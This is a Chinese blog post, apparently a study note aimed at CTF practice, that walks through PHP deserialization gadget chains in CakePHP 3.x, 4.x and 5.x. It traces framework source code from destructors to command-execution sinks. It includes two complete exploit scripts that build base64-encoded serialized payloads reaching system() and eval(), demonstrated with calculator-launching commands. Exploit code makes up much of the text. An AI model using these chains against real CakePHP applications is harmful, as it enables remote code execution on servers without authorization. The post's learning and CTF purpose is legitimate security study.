记cakephp框架反序列化

前言

之前走了走TP6.x的框架反序列化,今天学一学其他框架的
走一走cakephp三个版本的反序列化,就可以试着做一做suctf的pop题了

cakephp[v3.x]

配置环境的话直接去github上找源码就行了
入口类在vendor\Symfony\Component\Process

1
2
3
4
public function __destruct()
{
$this->stop(0);
}

跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
public function stop($timeout = 10, $signal = null)
{
$timeoutMicro = microtime(true) + $timeout;
if ($this->isRunning()) {

$this->doSignal(15, false);
do {
usleep(1000);
} while ($this->isRunning() && microtime(true) < $timeoutMicro);
if ($this->isRunning()) {
$this->doSignal($signal ?: 9, false);
}
}}

跟进isRunning方法

1
2
3
4
5
6
7
8
9
10
public function isRunning()
{
if (self::STATUS_STARTED !== $this->status) {
return false;
}

$this->updateStatus(false);

return $this->processInformation['running'];
}

跟进updateStatus方法有前置条件,但是status可控,跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
protected function updateStatus($blocking)
{
if (self::STATUS_STARTED !== $this->status) {
return;
}

$this->processInformation = proc_get_status($this->process);
$running = $this->processInformation['running'];

$this->readPipes($running && $blocking, '\\' !== \DIRECTORY_SEPARATOR || !$running);

if ($this->fallbackStatus && $this->isSigchildEnabled()) {
$this->processInformation = $this->fallbackStatus + $this->processInformation;
}

if (!$running) {
$this->close();
}
}

跟进readPipes方法

1
2
3
4
5
6
7
8
9
10
11
12
13
private function readPipes(bool $blocking, bool $close)
{
$result = $this->processPipes->readAndWrite($blocking, $close);

$callback = $this->callback;
foreach ($result as $type => $data) {
if (3 !== $type) {
$callback(self::STDOUT === $type ? self::OUT : self::ERR, $data);
} elseif (!isset($this->fallbackStatus['signaled'])) {
$this->fallbackStatus['exitcode'] = (int) $data;
}
}
}

这边processPipes可控,可以调用__call魔术方法
找到vendor\cakephp\cakephp\src\ORM\Table.php
命名空间:namespace Cake\ORM

1
2
3
4
5
6
7
8
9
10
11
12
13
public function __call($method, $args)
{
if ($this->_behaviors && $this->_behaviors->hasMethod($method)) {
return $this->_behaviors->call($method, $args);
}
if (preg_match('/^find(?:\w+)?By/', $method) > 0) {
return $this->_dynamicFinder($method, $args);
}

throw new BadMethodCallException(
sprintf('Unknown method "%s"', $method)
);
}

调用任意类的call方法
找到vendor\cakephp\cakephp\src\ORM\BehaviorRegistry.php
命名空间:namespace Cake\ORM

1
2
3
4
5
6
7
8
9
10
11
12
13
public function call($method, array $args = [])
{
$method = strtolower($method);
if ($this->hasMethod($method) && $this->has($this->_methodMap[$method][0])) {
list($behavior, $callMethod) = $this->_methodMap[$method];

return call_user_func_array([$this->_loaded[$behavior], $callMethod], $args);
}

throw new BadMethodCallException(
sprintf('Cannot call "%s" it does not belong to any attached behavior.', $method)
);
}

存在一个call_user_func_array,可以调用任意类的任意方法
这个时候的$method=readAndWrite
找一下它的条件

1
2
$this->hasMethod
$this->has

跟进

1
2
3
4
5
6
public function hasMethod($method)
{
$method = strtolower($method);

return isset($this->_methodMap[$method]);
}

$this->_methodMap参数可控,过

1
2
3
4
public function has($name)
{
return isset($this->_loaded[$name]);
}

$this->_loaded参数可控,于vendor\cakephp\cakephp\src\Core\ObjectRegistry.php
此时可以利用回调函数调用任意方法
找到 vendor\cakephp\cakephp\src\Shell\ServerShell.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public function main()
{
$command = sprintf(
'php -S %s:%d -t %s',
$this->_host,
$this->_port,
escapeshellarg($this->_documentRoot)
);

if (!empty($this->_iniPath)) {
$command = sprintf('%s -c %s', $command, $this->_iniPath);
}

$command = sprintf('%s %s', $command, escapeshellarg($this->_documentRoot . '/index.php'));

$port = ':' . $this->_port;
$this->out(sprintf('built-in server is running in http://%s%s/', $this->_host, $port));
$this->out(sprintf('You can exit with <info>`CTRL-C`</info>'));
system($command);
}

这里存在拼接命令注入
在执行命令之前,还得先让两个$this->out方法正常返回

1
2
3
4
5
6
7
8
9
10
public function out($message = '', $newlines = 1, $level = self::NORMAL)
{
if ($level <= $this->_level) {
$this->_lastWritten = (int)$this->_out->write($message, $newlines);

return $this->_lastWritten;
}

return true;
}

参数可控,$this->_level<1即可
至此可以执行系统命令
当然现在关键在于如何书写exp
先把架子搭好,注意哪些值需要我们控制,哪些值有连锁反应需要特殊构造,注意哪些抽象类找到它们的子类(基于源代码去找),这种也是一种能力吧,需要锻炼
但总归学习一遍链子也是一种熟悉,再次碰到这种框架的反序列化问题就不会一头雾水了,分析一下大佬的链子
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php
namespace Cake\Core;
abstract class ObjectRegistry
{
public $_loaded = [];//联动控值
}


namespace Cake\ORM;
class Table
{
public $_behaviors;//->vendor\cakephp\cakephp\src\ORM\BehaviorRegistry.php
}

use Cake\Core\ObjectRegistry;
class BehaviorRegistry extends ObjectRegistry
{
public $_methodMap = [];//与_loaded联动
}


namespace Cake\Console;
class Shell
{
public $_io;//->ConsoleIo
}

class ConsoleIo
{
public $_level;//可控值=0即可
}

namespace Cake\Shell;
use Cake\Console\Shell;
class ServerShell extends Shell
{
public $_host;
protected $_port = 0;
protected $_documentRoot = "";
protected $_iniPath = "";
}


namespace Symfony\Component\Process;
use Cake\ORM\Table;
class Process
{
public $processPipes;//->vendor\cakephp\cakephp\src\ORM\Table.php
}
$pop = new Process([]);
$pop->status = "started";
$pop->processPipes = new Table();
$pop->processPipes->_behaviors = new \Cake\ORM\BehaviorRegistry();
$pop->processPipes->_behaviors->_methodMap = ["readandwrite"=>["servershell","main"]];
$a = new \Cake\Shell\ServerShell();
$a->_io = new \Cake\Console\ConsoleIo();
$a->_io->_level = 0;
$a->_host = ";open /System/Applications/Calculator.app;";
$pop->processPipes->_behaviors->_loaded = ["servershell"=>$a];

echo base64_encode(serialize($pop));

这样成功弹计算器了
有时候源码里已经有引用了,比如A类里引用了B类,可以直接把B类里的属性写在A类里

cakephp[v4.x]

该链ServerShell改动,因此寻找新的RCE点
即找到新的方法RCE,我们有回调函数可以接上
vendor\cakephp\cakephp\src\Database\Statement\CallbackStatement.php

1
2
3
4
5
6
7
public function fetch($type = parent::FETCH_TYPE_NUM)
{
$callback = $this->_callback;
$row = $this->_statement->fetch($type);

return $row === false ? $row : $callback($row);
}

存在任意函数执行
$callback参数可控
$this->_statement来自vendor/cakephp/cakephp/src/Database/Statement/StatementDecorator.php
跟进需要找到一个类里面有fetch方法返回可控的row值
vendor\cakephp\cakephp\src\Database\Statement\BufferedStatement.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function fetch($type = self::FETCH_TYPE_NUM)
{
if ($this->_allFetched) {
$row = false;
if (isset($this->buffer[$this->index])) {
$row = $this->buffer[$this->index];
}
$this->index += 1;

if ($row && $type === static::FETCH_TYPE_NUM) {
return array_values($row);
}

return $row;
}

_allFetched,buffer,index参数可,即可控$row值
exp稍有改动,问题不大
对于一个新版本可以看哪些旧版本的部分链子没有改动可以利用,再看看入口方法,再用seay扫一扫,然后本地一边搭一边调试

cakephp[v5.x]

以一道pop题学习吧

还是找到老地方Process.php
但是发现在这个版本新增了一个__wakeup方法,直接抛出错误,只能寻找新的入口类了
发现终点类是MockClass里的generate方法->eval()
关键就是找到入口类触发Table类里的__call方法?
找到一个析构函数
React\Promise\InternalRejectedPromise::__destruct

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public function __destruct()
{
if ($this->handled) {
return;
}

$handler = set_rejection_handler(null);
if ($handler === null) {
$message = 'Unhandled promise rejection with ' . $this->reason;

\error_log($message);
return;
}

try {
$handler($this->reason);
} catch (\Throwable $e) {
\preg_match('/^([^:\s]++)(.*+)$/sm', (string) $e, $match);
\assert(isset($match[1], $match[2]));
$message = 'Fatal error: Uncaught ' . $match[1] . ' from unhandled promise rejection handler' . $match[2];

\error_log($message);
exit(255);
}
}

进行了字符拼接,可以触发toString方法
Cake\Http\Response

1
2
3
4
5
6
public function __toString(): string
{
$this->stream->rewind();

return $this->stream->getContents();
}

可以调用__call方法,至此完成闭合,开始写payload
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
namespace PHPUnit\Framework\MockObject\Generator;
class MockClass
{
public function __construct()
{
$this->mockName = "PHPUnit\\Framework\\MockObject\\Generator\\MockMethodSet";
$this->classCode = "system('calc');";
}
}
namespace Cake\ORM;
use PHPUnit\Framework\MockObject\Generator\MockClass;
class BehaviorRegistry
{
public function __construct()
{
$this->_loaded = ["1"=>new MockClass()];
$this->_methodMap = ["rewind"=>["1","generate"]];
}
}
namespace Cake\ORM;
use Cake\ORM\BehaviorRegistry;
class Table
{
public function __construct()
{
$this->_behaviors = new BehaviorRegistry();
}
}
namespace Cake\Http;
use Cake\ORM\Table;
class Response
{
public function __construct()
{
$this->stream = new Table();
}
}
namespace React\Promise\Internal;
use Cake\Http\Response;
class RejectedPromise
{
public function __construct()
{
$this->reason = new Response();
}
}
$p = new RejectedPromise();
echo $ser = base64_encode(serialize($p));

ending~
没啥巧,多做框架的链子就行()